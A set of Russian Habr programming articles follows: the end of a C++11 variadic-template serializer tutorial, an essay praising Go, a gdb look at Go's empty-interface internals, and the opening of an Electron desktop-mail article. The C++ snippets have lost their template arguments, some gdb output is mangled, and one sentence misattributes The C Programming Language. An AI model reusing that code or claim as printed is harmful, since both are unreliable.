`std::basic_ostream` умеет кушать функции, принимающие и возвращающие ссылку на него (как, вы думали, устроен `std::endl`, `std::flush`?), так что теперь весь код с сериализацией переписывается в виде
```
serialize(OS& out, ...) {
F::serialize(out, ...);
out << delimiter; // пишем вожделенный разделитель
NextSerializer::serialize(out, ...);
}
```
После чего мы получаем закономерное (и готовое к десериализации)
```
777 6666 a
```
Но всё ещё остаётся маленькая деталь…
Вложенность
-----------
Раз наши схемы имеют такой же интерфейс, как и простые поля, почему бы не сделать схему из схем?
```
using MyBigPacket = Schema;
MyBigPacket::serialize(std::cout, 11, 22, 'a', 33, 44, 55, 'b');
```
Компилируем ииии… получаем no matching function for call to 'serialize'. В чём же дело?
Дело в том, что `Schema::serialize` съедает все аргументы, что ей даны. Внешняя схема видит, что `Schema::serialize` можно вызвать со всеми подкинутыми аргументами, ну и вызывает. Компилятор компилирует и видит, что последние четыре аргумента остаются не у дел (*candidate function template not viable: requires 1 argument, but 5 were provided*), ну и сообщает об ошибке.
Преимущество SFINAE выползло здесь как недостаток. Компилятор не компилирует функцию прежде чем определить, можно её вызвать с заданными аргументами или нет; он лишь смотрит на её тип. Чтобы устранить это нежелательное поведение, мы должны заставить `Schema::serialize` быть невалидного типа, если ей переданы неподходящие аргументы.
Делать это будем сразу для `Schema` и `SchemaSerializer` — так проще. Предположим, что для `Schema` это уже сделано, и него функция `serialize` имеет невалидный тип при невалидных аргументах. Модифицируем некоторые специализации нашего класса `SchemaSerializer`:
```
template
struct SchemaSerializer, true> {
template
static auto serialize(OS& out, TailArgs&&... targs)
-> decltype(NextSerializer::serialize(out, std::forward(targs)...))
{
F::serialize(out);
out << delimiter;
NextSerializer::serialize(out, std::forward(targs)...);
}
};
template
struct SchemaSerializer, true> {
template
static auto serialize(OS& out, Types... args, TailTypes&&... targs)
-> decltype(NextSerializer::serialize(out, std::forward(targs)...))
{
F::serialize(out, std::forward(args)...);
out << delimiter;
NextSerializer::serialize(out, std::forward(targs)...);
}
};
```
Что произошло? Во-первых, мы использовали новый синтаксис. Начиная с С++11, эквивалентны следующие способы задания типа результата функции:
```
type func(...) { ... }
auto func(...) -> type { .. }
```
Зачем это нужно? В ряде случаев так удобнее. Например, мы смогли добиться желаемого, не используя снова фокус с `std::declval`, потому что во втором варианте синтаксиса в выражении для `type` нам *уже доступны аргументы* нашей функции, а в первом — нет.
А чего мы, собственно, добились? А вот чего: если рекурсия ломается и `NextSerialize::serialize` нельзя вызвать с предоставленными аргументами, вызов `NextSerialize::serialize(out, std::forward(targs)...)` по нашему предположению вызовет ошибку подстановки. Тип возвращаемого значения (а значит, и тип всей функции) вычислить будет невозможно; таким образом и вызов нашего `SchemaSerializer::serialize` вызовет ошибку подстановки. Ошибка будет подниматься, пока не поднимется на самый верх и не скажет пользователю, что вызвать `Schema::serialize` с такими-то аргументами нельзя, *на этапе определения типа функции*. Остаётся аналогично модифицировать специализацию `Schema`:
```
template
struct Schema {
// шаблонный using (снова привет, С++11!)
template
using Serializer = SchemaSerializer<
F, // текущее поле
Schema, // рекурсия по числу полей
OutputStream&, // тип потока вывода
TypeList, // типы всех имеющихся аргументов
can\_serialize>::value // !!!
>;
template<
typename OS, // любой поток вывода
typename... Types // сколько угодно каких угодно аргументов
> static auto serialize(OS& out, Types&&... args)
-> decltype(Serializer::serialize(out, std::forward(args)...) )
{
Serializer::serialize(out, std::forward(args)...);
}
// . . .
};
```
Отлично! Теперь чуть менее простой код
```
using MyPacket = Schema<
IntegerField,
IntegerField,
CharField
>;
using MyBigPacket = Schema<
MyPacket,
IntegerField,
MyPacket
>;
MyBigPacket::serialize(std::cout, 11, 22, 'a', 33, 44, 55, 'b');
```
компилируется и радостно печатает
```
11 22 a 33 44 55 b
```
Мы сделали это!
Заключение
----------
C++ проделал большой путь, и стандарт C++11 был особенно большим шагом. Мы планомерно использовали почти все его нововведения, чтобы реализовать чистый и красивый сериализатор, чего только не поддерживающий. Он терпит произвольное число аргументов для каждого поля, терпит произвольное количество шаблонных и нешаблонных перегрузок функции `serialize` в каждом поле; он терпит в качестве полей другие сериализаторы; главное, на мой взгляд — он не убивает приведение типов, аккуратно донося все аргументы до их адресатов. Легко сообразить, как написать вспомогательный класс `SchemaDeserializer`, реализующий функцию `deserialize` — я опустил это за тривиальностью. Немного погружения в тему — и с помощью манипуляторов можно написать универсальные сложные поля (форматированный вывод, поле с проверкой диапазона, поле с фиксированной шириной в битах для сжатия в двоичном формате и т.д.), легко расширяемые на новые реализации потоков ввода/вывода.
Побаловаться с кодом можно в [репозитории на Github](https://github.com/Saluev/cxx11_serializer).
Об ошибках и неточностях непременно пишите в комментарии или (лучше) в личку. Возможно, статья сможет освободиться от них и даже стать приличным учебным материалом! Спасибо за внимание. | https://habr.com/ru/post/303368/ | null | ru | null |
# Красота Go
[Gopher](https://blog.golang.org/gopher) — талисман Go
Некоторое время назад я начал изучать возможность использования Go в некоторых своих сторонних проектах и был просто поражен красотой этого языка программирования.
Думаю, что его разработчикам удалось найти баланс между простотой использования, обычно свойственной интерпретируемым языкам с динамической типизацией, и производительностью вкупе с безопасностью (типобезопасность, безопасность использования памяти), которые характерны для компилируемых языков со статической типизацией.
Есть еще две особенности языка, которые делают его идеальным вариантом для разработки современных систем. Я на них остановлюсь подробнее в разделе статьи под названием «Сильные стороны».
Одна из них — **первоклассная поддержка конкурентности (concurrency)** (с помощью горутин (goroutines) и каналов, рассмотрено ниже). Конкурентность по своему определению позволяет эффективнее использовать всю доступную мощь CPU, даже если у процессора всего одно ядро. В Go на одной машине могут одновременно выполняться сотни тысяч горутин (легковесных потоков). Каналы и горутины крайне важны при построении распределенных систем, поскольку они абстрагируют механизмы, связанные с передачей сообщений в рамках концепции поставщика-потребителя (producer-consumer messaging paradigm).
Еще в Go мне очень нравятся интерфейсы. **Интерфейсы позволяют создавать систему на основе слабосвязанных либо совершенно не связанных компонентов.** Таким образом, ваш код может положиться на интерфейсный тип, особо не заботясь о том, кто и как этот интерфейс реализует. Контроллер предоставляет этому коду соответствующую интерфейсу (реализующую всего его функции) зависимость. Это позволяет создавать хорошую архитектуру для юнит-тестирования (с помощью внедрения зависимостей). Контроллер может внедрить (inject) имитацию реализации требуемого в коде интерфейса, что даст возможность протестировать правильность его работы.
Учитывая все эти особенности, думаю, можно сказать, что Go — замечательный язык, особенно когда дело касается разработки облачных (веб-серверы, CDN, кэши и т. д.) и распределенных систем, микросервисов и т. п. Поэтому, если вы сейчас в раздумьях по поводу выбора языка для следующего проекта, рекомендую всерьез присмотреться к Go.
В этой статье я планирую поговорить о следующих аспектах языка:
* Введение.
* Зачем понадобился Go.
* Целевая аудитория.
* Сильные стороны Go.
* Слабые стороны Go.
* Движемся к Go 2.
* Философия Go.
* С чего начать.
* Кто использует Go.
Введение
--------
Go — это язык с открытым исходным кодом, созданный в Google Робертом Гризмером (Robert Griesemer), Робом Пайком (Rob Pike) и Кеном Томпсоном (Ken Thompson). Открытость исходного кода в данном случае означает, что каждый может принять участие в развитие языка, внося [предложения](https://github.com/golang/go/wiki/ExperienceReports) по разработке новых функций, исправляя ошибки и т. д. Код языка доступен на [GitHub](https://github.com/golang/go). Документацию об участии в разработке можно найти [здесь](https://golang.org/doc/contribute.html).
Зачем понадобился Go
--------------------
Авторы говорят, что основной причиной создания нового языка было желание решить возникающие в Google проблемы, связанные с разработкой программного обеспечения. Также они упоминают, что Go был разработан в качестве альтернативы C++.
Вот что говорит Роб Пайк о предназначении Go:
«Целью Go не является проведение исследований в области дизайна языков программирования; она заключается в улучшении рабочей среды его разработчиков и их коллег. Go больше нацелен на разработку программ, нежели на исследования в области языков программирования. Или, другими словами, Go был спроектирован так, чтобы служить в первую очередь целям разработки».
**Проблемы Google, подтолкнувшие к созданию Go** (взято с <https://talks.golang.org/2012/splash.article>):
* медленная сборка длительностью вплоть до одного часа,
* неконтролируемые зависимости,
* использование программистами разных подмножеств языка,
* трудности в чтении кода (проблемы с пониманием программ, написанных другими людьми, недостаточное количество и качество документации и т. д.),
* дублирование усилий,
* стоимость обновлений,
* перекос версий (version skew),
* трудности при написании инструментов автоматизации,
* межъязыковые сборки.
**Чтобы Go преуспел, он должен решить эти проблемы** (взято с <https://talks.golang.org/2012/splash.article>):
* Go должен работать на больших масштабах, для крупных команд разработчиков, для программ с большим количеством зависимостей.
* Go должен быть знакомым, условно говоря, Си-подобным. Гуглу нужно, чтобы программисты могли быстро начать продуктивно работать с новым языком, поэтому он не должен быть слишком радикальным.
* Go должен быть современным. Ему нужны такие возможности, как конкурентность, чтобы программисты могли эффективно использовать многоядерные машины. В нем должны быть встроенные библиотеки для работы с сетью и в качестве веб-сервера.
Целевая аудитория
-----------------
Go — это язык для создания систем. Он замечательно подходит для облачных решений (веб-серверов, кэшей), микросервисов и распределенных систем (за счет поддержки конкурентности).
Сильные стороны
---------------
**Статическая типизация**
Go является языком со статической типизацией. Это значит, что уже на этапе компиляции необходимо объявить типы всех переменных, аргументов функций и возвращаемых значений. Такой подход может показаться неудобным, однако это на самом деле преимущество, поскольку многие ошибки будут найдены во время компиляции. Важность этого фактора растет вместе с размером команды, так как декларирование типов делает библиотеки и функции более читаемыми и лучше понимаемыми.
**Скорость компиляции**
Написанный на Go код компилируется **очень быстро**, так что больше не нужно ждать завершения компиляции :) На самом деле команда `go run` запускает программу так быстро, что сначала даже кажется, что компиляции не было вообще, как будто мы работаем с интерпретируемым языком.
**Скорость исполнения**
Код на Go компилируется напрямую в машинный код, который зависит от используемой ОС (Linux/Windows/Mac) и архитектуры CPU машины (x86, x86–64, ARM и т. д.), на которой производится компиляция. Поэтому Go-программы работают действительно очень быстро.
**Переносимость**
Поскольку программа компилируется напрямую в машинный код, бинарные файлы являются переносимыми в рамках одной операционной системы и архитектуры.
Такая возможность появляется за счет того, что бинарные файлы Go слинкованы статически, то есть все необходимые программе разделяемые библиотеки включены в бинарный файл на этапе компиляции. Динамически во время работы программы они не линкуются.
Это удобно при развертывании программ на большом количестве машин в дата-центре. Бинарник можно просто скопировать (например, с помощью `scp`) на любое количество машин, если, конечно, он был скомпилирован для ОС и архитектуры целевой системы. Вам не нужно заботиться об установленной версии Linux и управлять зависимостями. Программа просто запускается и работает :)
**Конкурентность**
В Go реализована высококлассная поддержка конкурентности, что является одним из важнейших преимуществ этого языка программирования. Механизмы реализации конкурентности Go основаны на работе Тони Хоара (Tony Hoare) [‘Communicating Sequential Processes’](http://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf).
**Среда исполнения Go позволяет выполнять сотни тысяч конкурентных горутин на одной машине.** Горутина — это легковесный поток выполнения. Go умеет мультиплексировать горутины в потоках ОС. То есть несколько горутин могут конкурентно выполняться в одном потоке операционной системы. В среде исполнения Go предусмотрен специальный планировщик, в задачу которого входит управление выполнением горутин.
У такого подхода есть два преимущества:
1. При инициализации горутина занимает в стеке лишь 4 KB. Это мизер по сравнению, например, с 1 мегабайтом, который обычно выделяется потоку операционной системы. Это число обретает значимость при необходимости конкурентного выполнения сотен тысяч различных горутин на одной машине. Если для этих целей использовать потоки ОС, оперативная память может очень быстро закончиться.
2. Go мог пойти по тому же пути, что и другие языки, например Java, в которой используются потоки операционной системы. Однако в этом случае цена переключения контекста между потоками ОС гораздо выше по сравнению с ценой переключения контекста между различными горутинами.
Поскольку я в этой статье уже неоднократно упоминал «конкурентность», рекомендую посмотреть видео, в котором Роб Пайк говорит о том, что [конкурентность и параллелизм — это разные вещи](https://www.youtube.com/watch?v=cN_DpYBzKso). В программировании под конкурентностью понимают набор независимо выполняющихся процессов, когда как параллелизм — это одновременное выполнение независимых и/или зависимых вычислений. На одном ядре параллелизм недоступен, поскольку оно может выполнять только одну операцию в единицу времени. Однако конкурентность в этом случае все же возможна. Планировщик операционной системы запускает различные процессы (на самом деле потоки, так как у каждого процесса есть как минимум основной поток) в различные кванты времени (time slices). Таким образом, в единицу времени процессор занят только одним потоком. Благодаря высокой скорости выполнения операций нам кажется, что одновременно выполняются несколько программ. Но по факту проходят все под одному.
**Конкурентность позволяет иметь дело с несколькими вещами одновременно, а параллелизм — делать несколько вещей одновременно.**
**Интерфейсы**
Интерфейсы позволяют создавать слабосвязанные системы (loosely coupled systems). В Go интерфейсный тип может быть определен в виде набора функций. И это все. Любой реализующий эти функции тип неявно реализует и интерфейс, то есть вам не нужно указывать, что ваш тип реализует определенный интерфейс. Это сделает компилятор во время компиляции.
Таким образом, ваш код может положиться на интерфейсный тип, особо не заботясь о том, кто и как этот интерфейс реализует. Контроллер предоставляет этому коду соответствующую интерфейсу (реализующую всего его функции) зависимость. Это позволяет создавать хорошую архитектуру для юнит-тестирования (с помощью внедрения зависимостей). Контроллер может внедрить (inject) имитацию реализации требуемого в коде интерфейса, что даст возможность протестировать правильность его работы.
Здесь есть и преимущество с точки зрения микросервисной архитектуры. Если ваше приложение размещено на одном сервере (в начале проекта), вы проектируете его таким образом, что его функции выполняются различными микросервисами, каждый из которых реализует собственный интерфейс. Таким образом, другие сервисы/контроллеры вызывают методы интерфейсов, не заботясь о том, как они внутри реализованы.
**Сборка мусора**
В отличие от C, в Go не нужно освобождать динамически выделенную память и беспокоиться о висячих указателях (dangling pointers). О них позаботится сборщик мусора.
**Отсутствие исключений**
Обрабатывайте ошибки самостоятельно. Меня очень радует тот факт, что в Go, в отличие от многих других языков, нет стандартного механизма работы с исключениями. Разработчикам здесь приходится самостоятельно обрабатывать ошибки типа ‘couldn’t open file’ — возможности обернуть код в блок `try catch` нет. То есть программистов подталкивают к тому, чтобы задумываться, каким образом эти ошибки надо правильно обрабатывать.
**Замечательный набор инструментов**
Одна из самых приятных сторон Go — это его инструменты:
* [Gofmt](https://blog.golang.org/go-fmt-your-code) автоматически форматирует код и расставляет отступы. Этим можно добиться того, чтобы код на Go выглядел одинаково у всех без исключения пишущих на этом языке разработчиков, значительно повышая таким образом читабельность кода.
* [Go run](https://golang.org/cmd/go/#hdr-Compile_and_run_Go_program) компилирует и выполняет код. Да, программы на Go нужно компилировать, но это происходит так быстро, что возникает ощущение работы с интерпретируемым языком.
* [Go get](https://golang.org/cmd/go/#hdr-Download_and_install_packages_and_dependencies) загружает библиотеку с GitHub и копирует ее в GoPath, после чего она может быть импортирована в проект.
* [Godoc](https://godoc.org/golang.org/x/tools/cmd/godoc) парсит исходный код на Go, включая комментарии, и на выходе выдает документацию в простом текстовом или HTML-формате. Веб-интерфейс godoc позволяет увидеть вместе документацию и код, где, например, от документации по функции к ее реализации можно перейти в один клик.
Эти и другие инструменты можно найти [здесь](https://golang.org/cmd/go/).
**Замечательные встроенные библиотеки**
В Go в есть следующие встроенные библиотеки, которые призваны облегчить жизнь современного разработчика:
* [net/http](https://golang.org/pkg/net/http/) предоставляет реализации HTTP-клиента и сервера,
* [database/sql](https://golang.org/pkg/database/sql/) предназначена для взаимодействия с SQL-базами данных,
* [encoding/json](https://golang.org/pkg/encoding/json/) обеспечивает первоклассную поддержку JSON,
* [html/templates](https://golang.org/pkg/html/template/) — библиотека для работы с HTML-шаблонами,
* [io/ioutil](https://golang.org/pkg/io/ioutil/) — вспомогательные функции ввода/вывода.
Библиотеки и фреймворки для всевозможных сценариев использования можно найти [здесь](https://github.com/avelino/awesome-go).
Слабости
--------
**Отсутствие дженериков**
Дженерики позволяют создавать алгоритмы с использованием типов, которые будут указаны позже. Предположим, что вам надо написать функцию для сортировки целых чисел. Затем вам понадобилась функция для сортировки списка строк. В этот момент вы понимаете, что код этих функций будет практически одинаковым, но первую функцию вы использовать не можете, поскольку в качестве аргумента она принимает список целых чисел и список строк получать откажется. Ничего не поделаешь, придется дублировать код. Будь в Go дженерики, можно было бы написать функцию сортировки списка элементов типа T и вызывать одну и ту же функцию для целых чисел, строк и любых других типов, для которых существует функция упорядочивания (ordering function). То есть компилятор должен уметь сравнивать значения этого типа.
В Go существует возможность сделать что-то похожее на дженерик с помощью пустого интерфейса (interface {}). Но это решение не лишено недостатков.
Дженерики — тема весьма противоречивая. Есть программисты, которые молятся на них, когда как другие не хотят включать дженерики в язык, поскольку они представляют собой компромисс между временем компиляции и временем выполнения программы.
Создатели Go говорят, что они открыты для диалога о реализации механизма дженериков в Go. Но дело не только в дженериках. Они могут быть реализованы в языке только в том случае, если будут хорошо взаимодействовать с другими его компонентами. Давайте дождемся Go 2 и посмотрим, будет ли в нем какое-либо решение этой проблемы.
**Отсутствие управлениями зависимостями**
«Обещание Go 1» (Go 1 promise) позволяет быть уверенным в том, что сам язык Go и его библиотеки не будут менять свои API в течение времени жизни Go 1. Ваш код должен компилироваться и в Go 1.5, и в Go 1.9. Большинство сторонних библиотек следуют этому обещанию. Поскольку вы загружаете сторонние библиотеки с GitHub с помощью `go get`, выполнив `go get github.com/vendor/library`, вам остается надеяться, что в новейшем коде в ветке master нет изменений в API. Для редких сторонних проектов это не так уж и плохо, так как большинство библиотек слово держат, но для production вариант не самый лучший.
В идеале нужен какой-то способ версионирования зависимостей, при котором можно было бы указать номер версии сторонней библиотеки в файле зависимостей. В этом случае можно будет не беспокоиться об изменении API, поскольку это не затронет используемую вами версию. Позже можно будет изучить отличия и принять решение о переходе на новую версию, сделать соответствующие изменения в вашем коде, если они нужны, и указать новый номер версии в файле зависимостей.
В Go проводится официальный эксперимент под названием [dep](https://github.com/golang/dep), который, надеюсь, решит эту проблему. Возможно, это случится уже в Go 2 :)
Движемся к Go 2
---------------
Мне очень нравится опенсорсный подход к созданию языка, который мы видим на примере Go. Если вы хотите, чтобы в Go 2 была реализована нужная вам функциональность, оформите документ следующего содержания:
* Описание сценария использования.
* Описание невозможности решить проблему с помощью доступных на данный момент в языке инструментов.
* Характеристика серьезности проблемы (некоторые вещи не настолько важны, чтобы ставить их в приоритет).
* Вариант решения проблемы (необязательно).
Авторы рассмотрят предложение и вынесут свой вердикт. Обсуждения этих вопросов проходят публично в рассылках и системах отслеживания ошибок (issue trackers).
На мой взгляд, две самые серьезные проблемы Go — это дженерики и управление зависимостями. Управление зависимостями больше относится к работе с релизами или подбору инструментов. Надеюсь, что [dep](https://github.com/golang/dep) станет официальным решением этой проблемы. Учитывая то, что авторы говорят об открытости своей позиции по отношению к дженерикам, мне весьма любопытно, как они собираются их реализовывать, поскольку дженерики неизбежно увеличат либо время компиляции, либо время исполнения.
Философия Go
------------
Хочу привести здесь наиболее запомнившиеся мне цитаты из презентации Роба Пайка под названием [Simplicity is Complicated](https://talks.golang.org/2015/simplicity-is-complicated.slide#18).
* **По традиции языки программирования идут по пути наращивания функциональности.** Таким образом они постоянно раздувают и усложняют свои компиляторы и спецификации. Если так будет продолжаться и дальше, в будущем все языки станут практически одинаковыми. Хороший пример — добавление ООП в JavaScript. Многие вещи намеренно не были включены в Go его авторами. **Была реализована только та функциональность, относительно который существовало единство мнений авторов языка, те возможности, которые действительно увеличивали полезность Go.**
* **Элементы функциональности напоминают ортогональные векторы в пространстве решений.** Важна способность выбрать подходящие для вашего случая векторы. **Выбранные векторы должны без лишних усилий взаимодействовать друг с другом, то есть все элементы функциональности языка должны состыковываться предсказуемым образом.** Полный набор элементов функциональности языка покрывает пространство решений целиком. Реализация всевозможных фич с учетом необходимости их беспроблемного взаимодействия приносит в языки дополнительную сложность. Однако язык абстрагирует сложность, предоставляя простые и легкие для понимания интерфейсы. Таким образом, простота — это искусство скрытия сложности :)
* **Важность читабельности очень часто недооценивается.** Читабельность критична. Возможно, в дизайне языка это самая главная вещь, поскольку необходимость и цена поддержки программного обеспечения также очень важны. Слишком большое количество фич вредит читабельности.
**Читабельность также означает надежность.** Если сложность языка высока, необходимо больше знаний и усилий для чтения кода и работы с ним, в том числе для отладки и внесения исправлений. Это также означает, что новичкам придется потратить больше времени, чтобы довести свое понимание языка до такого уровня, когда они смогут начать вносить вклад в развитие кодовой базы.
Взято с <https://blog.digitalocean.com/get-your-development-team-started-with-go/>
С чего начать
-------------
Дистрибутив Go и инструкцию по установке можно найти [здесь](https://golang.org/dl/).
Вот [официальное руководство по началу работы](https://tour.golang.org/welcome/1). Также рекомендую [Go в примерах](https://gobyexample.com/).
Если хочется книгу, [The Go Programming Language](https://www.amazon.com/Programming-Language-Addison-Wesley-Professional-Computing/dp/0134190440) — отличный вариант. Она написана в том же духе, что и легендарная [C Programming Language](https://www.amazon.com/Programming-Language-2nd-Brian-Kernighan/dp/0131103628) за авторством [Алана Донована (Alan A. A. Donovan)](https://www.informit.com/authors/bio/cd7c1e12-138d-4bf9-b609-e12e5a7fa866) и [Брайана Кернигана (Brian W. Kernighan)](https://en.wikipedia.org/wiki/Brian_Kernighan).
При желании общаться с участниками сообщества можете присоединиться к [Gophers Slack Channel](https://invite.slack.golangbridge.org/).
Кто использует Go
-----------------
[Многие компании](https://github.com/golang/go/wiki/GoUsers) начали инвестировать в Go. Вот несколько наиболее известных:
* Google — [Kubernetes](http://kubernetes.io/), [MySQL scaling infrastructure](http://vitess.io/), [dl.google.com](https://talks.golang.org/2013/oscon-dl.slide#1) (Download servers)
* BaseCamp — [Go at BaseCamp](https://signalvnoise.com/posts/3897-go-at-basecamp)
* CloudFlare — [Blog](https://blog.cloudflare.com/go-at-cloudflare/), [ArsTechnica article](https://arstechnica.com/information-technology/2013/02/cloudflare-blows-hole-in-laws-of-web-physics-with-go-and-railgun/)
* CockroachDB — [Why Go was the right choice for CockroachDB](https://www.cockroachlabs.com/blog/why-go-was-the-right-choice-for-cockroachdb/)
* CoreOS — [GitHub](https://github.com/coreos/), [Blog](https://blog.gopheracademy.com/birthday-bash-2014/go-at-coreos/)
* DataDog — [Go at DataDog](https://blog.gopheracademy.com/birthday-bash-2014/go-at-datadog/)
* DigitalOcean — [Get your development team started with Go](https://blog.digitalocean.com/get-your-development-team-started-with-go/)
* Docker — [Why did we decide to write Docker in Go](https://www.slideshare.net/jpetazzo/docker-and-go-why-did-we-decide-to-write-docker-in-go/)
* Dropbox — [Open Sourcing our Go Libraries](https://blogs.dropbox.com/tech/2014/07/open-sourcing-our-go-libraries/)
* Parse — [How we moved our API from Ruby to Go and saved our Sanity](http://blog.parse.com/learn/how-we-moved-our-api-from-ruby-to-go-and-saved-our-sanity/)
* Facebook — [GitHub](https://github.com/facebookgo/)
* Intel — [GitHub](https://github.com/clearcontainers)
* Iron.IO — [Go after 2 years in Production/](https://www.iron.io/go-after-2-years-in-production/)
* MalwareBytes — [Handling 1 million requests per minute with golang/](http://marcio.io/2015/07/handling-1-million-requests-per-minute-with-golang/)
* Medium — [How Medium goes Social](https://medium.engineering/how-medium-goes-social-b7dbefa6d413)
* MongoDB — [Go Agent](https://www.mongodb.com/blog/post/go-agent-go)
* Mozilla — [GitHub](https://github.com/search?o=desc&q=org%3Amozilla+org%3Amozilla-services+org%3Amozilla-it+language%3AGo&ref=searchresults&s=stars&type=Repositories&utf8=%E2%9C%93)
* Netflix — [GitHub](https://github.com/Netflix/rend)
* Pinterest — [GitHub](https://github.com/pinterest?language=go)
* Segment — [GitHub](https://github.com/segmentio?language=go)
* SendGrid — [How to convince your company to go with Golang](https://sendgrid.com/blog/convince-company-go-golang/)
* Shopify — [Twitter](https://twitter.com/burkelibbey/status/312328030670450688)
* SoundCloud — [Go at SoundCloud](https://developers.soundcloud.com/blog/go-at-soundcloud)
* SourceGraph — [YouTube](https://www.youtube.com/watch?v=-DpKaoPz8l8)
* Twitter — [Handling Five Billion Sessions a day in Real Time](https://blog.twitter.com/engineering/en_us/a/2015/handling-five-billion-sessions-a-day-in-real-time.html)
* Uber — [Blog](https://eng.uber.com/go-geofence/), [GitHub](https://github.com/uber?language=go)
Го программить?
---------------
Спасибо за уделенное время. Если вам понравилась эта статья, буду очень благодарен, если вы поделитесь ссылкой на нее со своими друзьями в Twitter/Facebook. Меня можно найти в Twitter: <https://twitter.com/kanishkdudeja>
Ссылки:
1. Оригинал: [The beauty of Go](https://hackernoon.com/the-beauty-of-go-98057e3f0a7d). | https://habr.com/ru/post/341302/ | null | ru | null |
# Немного о пустых интерфейсах. Быстрый взгляд изнутри
Всем привет!
**Warning:** статья не принесет ничего нового для профи, но будет полезна новичкам.
Если вы это читаете, значит ~~я уже мертв~~ вы, как минимум, интересуетесь языком Go. Следовательно, знаете, о такой вещи, как interface{}. А что будет, если я скажу, что любой интерфейс это просто структура? А также, что довольно легко реализовать самому свои интерфейсы? Прошу под кат.
Давайте начнем с предельно простого. Напишем простенькую программу на Go:
```
package main
import "fmt"
func ifacePrint(a interface{}) {
fmt.Println(a)
}
func main() {
ifacePrint("Habrahabr")
}
```
Всё просто — main, который вызывает метод ifacePrint и собственно ifacePrint, который явно принимает один аргумент типа interface{}.
Если мы её запустим, то получим вывод строки «Habrahabr». Но нам это не интересно,
поэтому мы запустим нашу программку под надзором gdb.
И так, go build main.go && gdb ./main. Ставим breakpoint на наш метод:
```
(gdb) b main.ifacePrint
Breakpoint 1 at 0x401000: file /tmp/main.go, line 5.
```
И запускаем программу:
```
(gdb) run
Starting program: /tmp/main
[New LWP 4892]
[New LWP 4893]
[New LWP 4894]
[New LWP 4895]
Breakpoint 1, main.ifacePrint (a=...) at /tmp/main.go:5
5 func ifacePrint(a interface{}) {
```
gdb тут же останавливает выполнение, дойдя до бряка. Давайте посмотрим, какого типа у нас переменная а:
```
(gdb) whatis a
type = interface {}
```
Что ж, логично, interface{}, ну, заглянем, тогда, что ли в её содержимое?
```
(gdb) p a
$1 = {_type = 0x4b8e00, data = 0xc8200761b0}
```
Интересный поворот, мы же должны были отправить строку… Однако это и есть наша строка, точнее её interface, в поле data лежит указатель, на область в памяти, в которой и содержится наша строка, а \_type — указатель на внутренюю (рантайма) структуру TypeDescriptor.
Забегая вперёд и в сторону покажу, как я делал интерфейсы для своей ОС на Go (gccgo):
```
//Реализация пустого интерфейса
type EmptyInterface struct {
__type_descriptor *TypeDescriptor // Поинтер на структуру - описание типа
__object uintptr // Поинтер на данные
}
// Структура - описание типа
type TypeDescriptor struct {
kind uint8 //Код типа данных, можно считать за ID
align uint8 //Выравнивание в памяти
fieldAlign uint8 //Выравнивание свойств (если есть)
size uintptr //Размер
hash uint32
hashfn uint32 //TODO
equalfn uint32 //TODO
gc uintptr //TODO
string *string //Строковое описание типа ("string", "int")
uncommonType *Uncommon //Дополнительное описание для не встроеных типов
ptrToThis *TypeDescriptor // Описание указателя на данный тип
}
//Дополнительное описание для пользовательских типов
type Uncommon struct {
name *string //Имя типа данных
pkgPath *string //Имя пакета, в котором описан
methods uintptr //TODO Указатель на массив методов, в которых ресивером является данный тип данных
}
```
В «классическом» Go — всё примерно также:
```
(gdb) p *a._type
$7 = {size = 16, ptrdata = 8, hash = 3774831796, _unused = 0 '\000', align = 8 '\b', fieldalign = 8 '\b', kind = 24 '\030',
alg = 0x582860 ,
gcdata = 0x52a3ac "\001\002\003\004\005\006\a\b\t\n\r\016\017\020\022\025\026\031\032\033\037,568AUr~\236\237\325\365\370\377", \_string = 0x50e5e0, x = 0x4b8e40, ptrto = 0x4b1ba0}
</code
```
Здесь мы видим примерно всю ту же информацию о типа данных «скрывающемся» за пустым интерфейсом.
```
(gdb) p a._type._string
$11 = (struct string *) 0x50e5e0
(gdb) p *a._type._string
$12 = 0x4fdfb0 "string"
(gdb) p *a._type.x
$13 = {name = 0x50e5e0, pkgpath = 0x0, mhdr = {array = 0x4b8e68, len = 0, cap = 0}}
(gdb) p *a._type.x.name
$14 = 0x4fdfb0 "string"
(gdb) p *a._type.ptrto
$15 = {size = 8, ptrdata = 8, hash = 1511480045, _unused = 0 '\000', align = 8 '\b', fieldalign = 8 '\b', kind = 54 '6',
alg = 0x5827d0 ,
gcdata = 0x52a3ac "\001\002\003\004\005\006\a\b\t\n\r\016\017\020\022\025\026\031\032\033\037,568AUr~\236\237\325\365\370\377", \_string = 0x5045d0, x = 0x0, ptrto = 0x0}
(gdb) p \*a.\_type.ptrto.\_string
$16 = 0x4fc2b8 "\*string"
(gdb) p \*a.\_type.alg
$17 = {hash = {void (void \*, uintptr, uintptr \*)} 0x582860 <runtime.algarray+224, equal = {void (void \*, void \*,
bool \*)} 0x582860 }
(gdb) p \*a.\_type.alg.hash
$18 = {void (void \*, uintptr, uintptr \*)} 0x582860
(gdb) p \*a.\_type.alg.equal
$19 = {void (void \*, void \*, bool \*)} 0x582868
```
Думаю, на сей ноте можно закончить повествование. Я вас немного просветил и показал направление куда копать, а копать или нет — пусть каждый решит сам ;)
**P.S.** Всем желающим разобраться с runtime Go рекомендую ковырять свои програмки под gdb и читать исходники gccgo и Go. | https://habr.com/ru/post/315260/ | null | ru | null |
# От Web до Desktop за 2 недели: технология Electron на практике
Если у вас есть компьютер и вы используете его по назначению, то скорее всего вы так или иначе работали с приложениями на Electron (даже если об этом не знали).
Меня зовут Сергей Володин, я руковожу командой разработки VK WorkMail. Расскажу, как на основе Electron мы за две недели создали PoC кроссплатформенного настольного приложения Почты, что узнали о технологии и к каким выводам пришли.
Для начала немного контекста. Наша команда занимается продуктовой разработкой VK WorkMail — корпоративного почтового сервиса, доступного по модели SaaS и в виде On-Premise решения. Продукт существует как мобильное приложение для Android/iOS, в web-версии, а также как один из элементов суперприложения VK Teams. У нас единая кодовая база с Почтой [Mail.ru](http://Mail.ru) и VK Почтой.
Мы работаем на B2B-рынке и время от времени получаем от наших клиентов запросы на настольное приложение. Это не что-то вроде «Хотим отдельную иконку, а не браузер», а запрос на вполне серьёзную функциональность: возможность работать оффлайн, локальную выгрузку или удаление писем с сервера. Другими словами — запрос на создание Thick Client, или толстого клиента.
#### Что значит толстый клиент?
Сначала нужно договориться о понятиях. Большинство web-приложений работают по принципу тонкого клиента (Thin Client). Подобный подход представляет из себя классическое клиент-серверное взаимодействие:
Клиент, то есть интерфейс или фронтенд, шлёт запросы на сервер и получает необходимые для работы данные.
